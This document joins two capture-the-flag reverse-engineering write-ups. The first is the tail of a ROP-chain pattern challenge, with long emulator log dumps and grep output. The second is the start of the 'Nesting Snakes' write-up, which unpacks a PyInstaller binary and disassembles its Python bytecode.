0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFC8A334 FFFFFFFFFFC8A333 FFFFFFFFFFC8A333 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFD0C0F0 FFFFFFFFFFD0C0EF FFFFFFFFFFD0C0EF 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFF984DF1 FFFFFFFFFF984DF0 FFFFFFFFFF984DF0 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFD34318 FFFFFFFFFFD34317 FFFFFFFFFFD34317 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFFCBE0D FFFFFFFFFFFCBE0C FFFFFFFFFFFCBE0C 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFA4C236 FFFFFFFFFFA4C235 FFFFFFFFFFA4C235 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFFC531B FFFFFFFFFFFC531A FFFFFFFFFFFC531A 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFE66F57 FFFFFFFFFFE66F56 FFFFFFFFFFE66F56 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFE5E8B2 FFFFFFFFFFE5E8B1 FFFFFFFFFFE5E8B1 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFDDC62E FFFFFFFFFFDDC62D FFFFFFFFFFDDC62D 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFEE0254 FFFFFFFFFFEE0253 FFFFFFFFFFEE0253 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFF92BC54 FFFFFFFFFF92BC53 FFFFFFFFFF92BC53 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFF65ECF FFFFFFFFFFF65ECE FFFFFFFFFFF65ECE 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFCDA8F7 FFFFFFFFFFCDA8F6 FFFFFFFFFFCDA8F6 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFE3EEB2 FFFFFFFFFFE3EEB1 FFFFFFFFFFE3EEB1 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFF978665 FFFFFFFFFF978664 FFFFFFFFFF978664 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFF8D5933 FFFFFFFFFF8D5932 FFFFFFFFFF8D5932 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFEF446C FFFFFFFFFFEF446B FFFFFFFFFFEF446B 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFDB926B FFFFFFFFFFDB926A FFFFFFFFFFDB926A 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFD3AF2C FFFFFFFFFFD3AF2B FFFFFFFFFFD3AF2B 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFF84F415 FFFFFFFFFF84F414 FFFFFFFFFF84F414 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFC78F9D FFFFFFFFFFC78F9C FFFFFFFFFFC78F9C 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFB873A9 FFFFFFFFFFB873A8 FFFFFFFFFFB873A8 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFF8E2A65 FFFFFFFFFF8E2A64 FFFFFFFFFF8E2A64 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFE448C1 FFFFFFFFFFE448C0 FFFFFFFFFFE448C0 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFE2A717 FFFFFFFFFFE2A716 FFFFFFFFFFE2A716 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFD0B42F FFFFFFFFFFD0B42E FFFFFFFFFFD0B42E 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFFB7BA8 FFFFFFFFFFFB7BA7 FFFFFFFFFFFB7BA7 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFE5E788 FFFFFFFFFFE5E787 FFFFFFFFFFE5E787 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFF869AD0 FFFFFFFFFF869ACF FFFFFFFFFF869ACF 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFD34331 FFFFFFFFFFD34330 FFFFFFFFFFD34330 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFAFDA36 FFFFFFFFFFAFDA35 FFFFFFFFFFAFDA35 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFA4B86D FFFFFFFFFFA4B86C FFFFFFFFFFA4B86C 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFCF06F5 FFFFFFFFFFCF06F4 FFFFFFFFFFCF06F4 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFB7934D FFFFFFFFFFB7934C FFFFFFFFFFB7934C 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFC6F2EB FFFFFFFFFFC6F2EA FFFFFFFFFFC6F2EA 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFBF96E8 FFFFFFFFFFBF96E7 FFFFFFFFFFBF96E7 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFE0138E FFFFFFFFFFE0138D FFFFFFFFFFE0138D 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFABF475 FFFFFFFFFFABF474 FFFFFFFFFFABF474 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFF98F0F3 FFFFFFFFFF98F0F2 FFFFFFFFFF98F0F2 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFB1F608 FFFFFFFFFFB1F607 FFFFFFFFFFB1F607 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFF881780 FFFFFFFFFF88177F FFFFFFFFFF88177F 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFF9AB5C2 FFFFFFFFFF9AB5C1 FFFFFFFFFF9AB5C1 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFED3CE7 FFFFFFFFFFED3CE6 FFFFFFFFFFED3CE6 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFF046A4 FFFFFFFFFFF046A3 FFFFFFFFFFF046A3 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFE61E5A FFFFFFFFFFE61E59 FFFFFFFFFFE61E59 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFF9C263B FFFFFFFFFF9C263A FFFFFFFFFF9C263A 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFE69F2C FFFFFFFFFFE69F2B FFFFFFFFFFE69F2B 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFD1A346 FFFFFFFFFFD1A345 FFFFFFFFFFD1A345 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFD6E424 FFFFFFFFFFD6E423 FFFFFFFFFFD6E423 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFE1DCF1 FFFFFFFFFFE1DCF0 FFFFFFFFFFE1DCF0 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFA18DC4 FFFFFFFFFFA18DC3 FFFFFFFFFFA18DC3 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFA42D7B FFFFFFFFFFA42D7A FFFFFFFFFFA42D7A 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFF88F859 FFFFFFFFFF88F858 FFFFFFFFFF88F858 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFF615FE FFFFFFFFFFF615FD FFFFFFFFFFF615FD 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFCF4A92 FFFFFFFFFFCF4A91 FFFFFFFFFFCF4A91 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFF8A7906 FFFFFFFFFF8A7905 FFFFFFFFFF8A7905 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFC76188 FFFFFFFFFFC76187 FFFFFFFFFFC76187 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFF95AAD9 FFFFFFFFFF95AAD8 FFFFFFFFFF95AAD8 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFC8B150 FFFFFFFFFFC8B14F FFFFFFFFFFC8B14F 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFDB4CEC FFFFFFFFFFDB4CEB FFFFFFFFFFDB4CEB 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFD08478 FFFFFFFFFFD08477 FFFFFFFFFFD08477 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFF8945B4 FFFFFFFFFF8945B3 FFFFFFFFFF8945B3 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFC9E461 FFFFFFFFFFC9E460 FFFFFFFFFFC9E460 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFFA10DDC FFFFFFFFFFA10DDB FFFFFFFFFFA10DDB 0000000000000001 0000000000000050 0000000000000001 0000000000246EC000000000004013AD FFFFFFFFFF8951C6 FFFFFFFFFF8951C5 FFFFFFFFFF8951C5 0000000000000001 0000000000000050 0000000000000001 0000000000246EC0``` We can repeat the same process for the other constants :```console$ grep 000000000048B310 unicorn.log | head -n 10000000000401364 0000000000407174 000000000048B310 0000000000407174 0000000000000001 0000000000404094 0000000000000001 0000000000243220$ grep 0000000000243220 unicorn.log0000000000401364 0000000000407174 000000000048B310 0000000000407174 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 000000000040716C 0000000000792F08 000000000040716C 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000407164 000000000030FA15 0000000000407164 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 000000000040715C 000000000002378E 000000000040715C 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000407154 000000000006596D 0000000000407154 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 000000000040714C 0000000000135198 000000000040714C 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000407144 0000000000375CCC 0000000000407144 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 000000000040713C 00000000005F72A3 000000000040713C 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000407134 00000000002F3F18 0000000000407134 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 000000000040712C 000000000067B216 000000000040712C 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000407124 00000000002CBCEB 0000000000407124 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 000000000040711C 00000000000341FB 000000000040711C 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000407114 00000000005B3DCA 0000000000407114 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 000000000040710C 000000000003ACE6 000000000040710C 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000407104 00000000001990AE 0000000000407104 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 00000000004070FC 00000000001A1754 00000000004070FC 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 00000000004070F4 00000000002239D6 00000000004070F4 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 00000000004070EC 000000000011FDAE 00000000004070EC 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 00000000004070E4 00000000006D43AC 00000000004070E4 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 00000000004070DC 00000000007E7EE1 00000000004070DC 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 00000000004070D4 000000000009A133 00000000004070D4 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 00000000004070CC 000000000032570C 00000000004070CC 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 00000000004070C4 00000000001C1154 00000000004070C4 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 00000000004070BC 00000000006879A3 00000000004070BC 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 00000000004070B4 000000000072A6D4 00000000004070B4 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 00000000004070AC 000000000010BB95 00000000004070AC 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 00000000004070A4 0000000000246D9A 00000000004070A4 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 000000000040709C 00000000002C50D9 000000000040709C 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000407094 00000000007B0BF1 0000000000407094 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 000000000040708C 0000000000387063 000000000040708C 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000407084 0000000000478C5E 0000000000407084 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 000000000040707C 000000000071D5A3 000000000040707C 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000407074 00000000001BB740 0000000000407074 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 000000000040706C 00000000001D58EC 000000000040706C 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000407064 00000000002F4BD3 0000000000407064 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 000000000040705C 000000000004845C 000000000040705C 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000407054 00000000001A1880 0000000000407054 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 000000000040704C 0000000000796532 000000000040704C 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000407044 00000000002CBCD2 0000000000407044 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 000000000040703C 00000000005025CE 000000000040703C 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000407034 00000000005B4793 0000000000407034 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 000000000040702C 000000000030F911 000000000040702C 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000407024 000000000072A9DB 0000000000407024 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 000000000040701C 0000000000486CB8 000000000040701C 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000407014 0000000000390D1C 0000000000407014 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 000000000040700C 00000000002FB027 000000000040700C 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000407004 0000000000406919 0000000000407004 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406FFC 00000000001FEC79 0000000000406FFC 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406FF4 0000000000540B90 0000000000406FF4 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406FEC 0000000000670F10 0000000000406FEC 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406FE4 00000000004E09FA 0000000000406FE4 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406FDC 000000000077E888 0000000000406FDC 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406FD4 0000000000654A3E 0000000000406FD4 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406FCC 000000000012C31F 0000000000406FCC 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406FC4 00000000000FB95F 0000000000406FC4 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406FBC 000000000025B839 0000000000406FBC 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406FB4 000000000019E1AB 0000000000406FB4 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406FAC 00000000003FBA38 0000000000406FAC 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406FA4 000000000063D9C7 0000000000406FA4 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406F9C 00000000001960D4 0000000000406F9C 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406F94 00000000002E5CBE 0000000000406F94 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406F8C 0000000000291BE4 0000000000406F8C 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406F84 00000000001E2310 0000000000406F84 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406F7C 00000000005E723E 0000000000406F7C 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406F74 00000000005BD28D 0000000000406F74 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406F6C 00000000007707AD 0000000000406F6C 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406F64 000000000009EA03 0000000000406F64 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406F5C 000000000030B572 0000000000406F5C 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406F54 00000000007586FD 0000000000406F54 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406F4C 0000000000389E7D 0000000000406F4C 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406F44 00000000003079A3 0000000000406F44 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406F3C 00000000006A5527 0000000000406F3C 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406F34 0000000000374EB1 0000000000406F34 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406F2C 000000000024B314 0000000000406F2C 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406F24 00000000002F7B8C 0000000000406F24 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406F1C 000000000034D5BA 0000000000406F1C 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406F14 000000000076BA51 0000000000406F14 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406F0C 000000000043D3D0 0000000000406F0C 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406F04 0000000000361BA1 0000000000406F04 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406EFC 00000000005EF22A 0000000000406EFC 0000000000000001 0000000000404094 0000000000000001 00000000002432200000000000401364 0000000000406EF4 000000000076AE3D 0000000000406EF4 0000000000000001 0000000000404094 0000000000000001 0000000000243220``` However we need to know which ones are added to our input and which ones to the constants. While looking for those constants I also tried using the pseudocode we produced earlier. It looks like the values used with our input appear two times instead of one :```console$ grep 48B310 rop_chain.s0x001F35A0 : rcx = (True, 'data @ 0x0048B310')$ grep 792F08 rop_chain.s0x001F3270 : rcx = (True, 'data @ 0x00792F08')$ grep 30FA15 rop_chain.s0x001F2F30 : rax = (True, 'data : 0x0030FA15')0x002036F0 : rax = (True, 'data : 0x0030FA15')$ grep 5F72A3 rop_chain.s0x001F1F50 : rax = (True, 'data @ 0x005F72A3')0x002070B0 : rax = (True, 'data @ 0x005F72A3')``` ## V.IV - Grouping Now we need to identify the input that pass the *"unique test"*. First we'll unpack all the constants and insert our input in it :```6, 5, X, 2, 7, 4, 0, X, 8, 7, 3, 8, 0, 1, 5, 6, 4, 2, 0, X, 2, 3, 6, 8, 7, 1, 5, 5, 6, 0, 7, 8, 1, 3, 2, 4, 8, 2, 3, 4, 0, 6, X, 5, 7, X, 1, 7, 5, 3, 2, 8, 0, 6, 3, X, 5, X, 2, 0, 4, 8, 1, 2, 8, 6, 1, 4, 3, 5, X, 0, 1, 0, 4, X, 5, X, 2, 6, 3``` Uhh, it looks like the rule we defined earlier will not work. The program probably forgets its state at one point or another, we can look at the hardcoded values to determine where it does. There are two consecutive 5s at offset 27. When thinking about 27, the first thing that came to my mind was 3*9=27, let's divide in groups of 9 :```6, 5, X, 2, 7, 4, 0, X, 87, 3, 8, 0, 1, 5, 6, 4, 20, X, 2, 3, 6, 8, 7, 1, 55, 6, 0, 7, 8, 1, 3, 2, 48, 2, 3, 4, 0, 6, X, 5, 7X, 1, 7, 5, 3, 2, 8, 0, 63, X, 5, X, 2, 0, 4, 8, 12, 8, 6, 1, 4, 3, 5, X, 01, 0, 4, X, 5, X, 2, 6, 3```That looks really good, some of our inputs have two possible solutions but if you keep in mind the original situtaion, there are some moves that are impossible with a pattern. # VI - Conclusion After using `1 3 4 1 4 7 6 7 8 7` which draws a nice flag, we get rewarded with another flag.```Draw pattern with mouse to get flag # # # ~ ~ ~ ~ ~ ~ ~ ~ # ~~~~~~~ # # ~ ~ ~ ~ # ~~~~~~~ # ~~~~~~~ #``````uiuctf{which_shows_that_rop_is_turing_complete_QED}``` Just before I solved the challenge (at 0514 CEST on the 1st) a hint was released (at 0205 CEST) about how the challenge was built. The challenge authors used [elvm](https://github.com/shinh/elvm), so my first theory was right, maybe building a proper disassembler would have been faster. In the end I spent nearly 24 hours on this challenge and wasn't really able to solve any other ones (except for a few really easy reverse) because I wasn't available the second day. Donc gros GG à tout le reste de l'équipe pour nous avoir propulsé aussi haut dans le classement !
[Link to original writeup](https://wrecktheline.com/writeups/imaginary-2021/#nesting%20snakes) # Nesting Snakes (5 solves, 400 points)by JaGoTu ## Description```DescriptionI know turtles go all the way down, but what about snakes? Attachments* nesting_snakes AuthorRobin_Jadoul Points400``` ## ? Pyinstaller We are given a pretty big **executable ELF file**: ```$ file nesting_snakesnesting_snakes: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=277dc5acf4d7b9140218325bbc133b79cd3c998e, for GNU/Linux 2.6.32, stripped$ ls -lah nesting_snakes-rwxrwxrwx 1 jagotu jagotu 7.2M Jul 24 19:40 nesting_snakes``` When we tried to run it, we got the following error: ```$ ./nesting_snakes[394] Error loading Python lib '/tmp/_MEIeDa6bW/libpython3.9.so.1.0': dlopen: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.33' not found (required by /tmp/_MEIeDa6bW/libpython3.9.so.1.0)``` We could spend some time trying to figure out the `libc` problem... But this is `rev` so technically we don't need to run the binary, right? Given the name of the challenge and the size of the binary (there are probably more scientific methods to figure it out), I expected a `pyinstaller` binary. To cite from https://pyinstaller.readthedocs.io/: > PyInstaller bundles a Python application and all its dependencies into a single package. The user can run the packaged app without installing a Python interpreter or any modules. There's a package called `pyinstxtractor` that can be used to extract the installer most of the times, but from my experience it works best on Windows binaries and is more hit-or-miss on Linux ones. The same story here: ```$ python3 pyinstxtractor.py nesting_snakes[+] Processing nesting_snakes[!] Error : Unsupported pyinstaller version or not a pyinstaller archive``` Luckily, if you can somehow get the pydata from the binary, `pyinstxtractor` will extract that for you. To get the pydata, we just use 7z: ```$ 7z x nesting_snakes 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs Intel(R) Core(TM) i7-4771 CPU @ 3.50GHz (306C3),ASM,AES-NI) Scanning the drive for archives:1 file, 7452136 bytes (7278 KiB) Extracting archive: nesting_snakes--Path = nesting_snakesType = ELFPhysical Size = 7452136CPU = AMD6464-bit = +Host OS = NoneCharacteristics = Executable fileHeaders Size = 2472 Everything is Ok Files: 28Size: 7442756Compressed: 7452136 $ file pydatapydata: zlib compressed data $ python3 pyinstxtractor.py pydata[+] Processing pydata[+] Pyinstaller version: 2.1+[+] Python version: 39[+] Length of package: 7400207 bytes[+] Found 74 files in CArchive[+] Beginning extraction...please standby[+] Possible entry point: pyiboot01_bootstrap.pyc[+] Possible entry point: pyi_rth_pkgutil.pyc[+] Possible entry point: pyi_rth_multiprocessing.pyc[+] Possible entry point: pyi_rth_inspect.pyc[+] Possible entry point: main.pycTraceback (most recent call last): File "pyinstxtractor.py", line 390, in <module> main() File "pyinstxtractor.py", line 379, in main arch.extractFiles() File "pyinstxtractor.py", line 279, in extractFiles self._writeRawData(entry.name, data) File "pyinstxtractor.py", line 237, in _writeRawData with open(nm, 'wb') as f:PermissionError: [Errno 13] Permission denied: '/stuff.pye'``` Hm, seems it tries to write `stuff.pye` to the root directory. If you feel particularly YOLO, you could probably just run it with `sudo`, but we decide to instead patch `pyinstxtractor`, adding these two lines to `_writeRawData`: ```py if nm[0] == '/': nm = '.' + nm``` After that we can extract succesfully: ```$ python3 pyinstxtractor.py pydata[+] Processing pydata[+] Pyinstaller version: 2.1+[+] Python version: 39[+] Length of package: 7400207 bytes[+] Found 74 files in CArchive[+] Beginning extraction...please standby[+] Possible entry point: pyiboot01_bootstrap.pyc[+] Possible entry point: pyi_rth_pkgutil.pyc[+] Possible entry point: pyi_rth_multiprocessing.pyc[+] Possible entry point: pyi_rth_inspect.pyc[+] Possible entry point: main.pyc[!] Warning: This script is running in a different Python version than the one used to build the executable.[!] Please run this script in Python39 to prevent extraction errors during unmarshalling[!] Skipping pyz extraction[+] Successfully extracted pyinstaller archive: pydata You can now use a python decompiler on the pyc files within the extracted directory``` ## ?? main.pyc The first idea we get is to **decompile** main.pyc. However, both uncompyle6 and decompyle3 fail on the binary. Apparently, adding support for Python 3.9 is kinda hard. The maintainer of uncompyle6 has the following to say about that: > Right now I have a full-time job which keeps me very busy.> > I'd have to do this on the weekends. Getting a rudimentary 3.9 that works _almost_ as well as 3.8 might be 2 or 3 weekends and would be in the decompyle3 project.> > To do a proper job would require a reworking of control flow using https://github.com/rocky/python-control-flow . If that were that done, we'd see a general improvement, and probably would be able to handle future Python bytecode and also use this approach in other decompilers. But even after I start, it will to take a long time.> > So, what I propose for now is support me in this project for whatever amount seems right to you. When there are enough people interested and about USD $2,025 is collected, I'll spend the time to do it.> > **Edit**: over time the dollar amount may go up, especially at times when I get duplicate requests of this issue such as in #347. Even as the figure stands now, it is a bit low for the amount of effort to do a decent job. (see https://github.com/rocky/python-uncompyle6/issues/331#issuecomment-794736502) So guess we'll just have to work with the xdis disassembler, which works just fine (I shortened the constants quite a bit): ```$ pydisasm main.pyc# pydisasm version 5.0.11# Python bytecode 3.8 (3413)# Disassembled from Python 3.8.5 (default, Jan 27 2021, 15:41:15)# [GCC 9.3.0]# Timestamp in code: 0 (1970-01-01 01:00:00)# Source code size mod 2**32: 0 bytes# Method Name: <module># Filename: main.py# Argument count: 0# Position-only argument count: 0# Keyword-only arguments: 0# Number of locals: 0# Stack size: 6# Flags: 0x00000040 (NOFREE)# First Line: 1# Constants:# 0: 0# 1: None# 2: 358# 3: (20, -23488, 85, [...], 61, 204, -220885)# 4: (137, 1351, [...], 863, 1827)# 5: ''# 6: 1# 7: 'Congratulations'# Names:# 0: pyconcrete# 1: stuff# 2: sys# 3: os# 4: _# 5: __# 6: ___# 7: argv# 8: f# 9: print 1: 0 LOAD_CONST (0) 2 LOAD_CONST (None) 4 IMPORT_NAME (pyconcrete) 6 STORE_NAME (pyconcrete) 2: 8 LOAD_CONST (0) 10 LOAD_CONST (None) 12 IMPORT_NAME (stuff) 14 STORE_NAME (stuff) 3: 16 LOAD_CONST (0) 18 LOAD_CONST (None) 20 IMPORT_NAME (sys) 22 STORE_NAME (sys) 24 LOAD_CONST (0) 26 LOAD_CONST (None) 28 IMPORT_NAME (os) 30 STORE_NAME (os) 5: 32 LOAD_CONST (358) 34 STORE_NAME (_) 6: 36 BUILD_LIST 0 38 LOAD_CONST ((20, -23488, 85, [...], 61, 204, -220885)) 40 CALL_FINALLY (to 43) 42 STORE_NAME (__) 7: 44 BUILD_LIST 0 46 LOAD_CONST ((137, 1351, [...], 863, 1827)) 48 CALL_FINALLY (to 51) 50 STORE_NAME (___) 9: 52 LOAD_NAME (sys) 54 LOAD_ATTR (argv) 56 LOAD_CONST ('') 58 BUILD_LIST 1 60 BINARY_ADD 62 LOAD_CONST (1) 64 BINARY_SUBSCR 66 STORE_NAME (f) 11: 68 LOAD_NAME (stuff) 70 LOAD_METHOD (_) 72 LOAD_NAME (_) 74 LOAD_NAME (__) 76 LOAD_NAME (___) 78 LOAD_NAME (f) 80 CALL_METHOD 4 82 LOAD_NAME (f) 84 CALL_FUNCTION 1 86 POP_JUMP_IF_FALSE (to 96) 12: 88 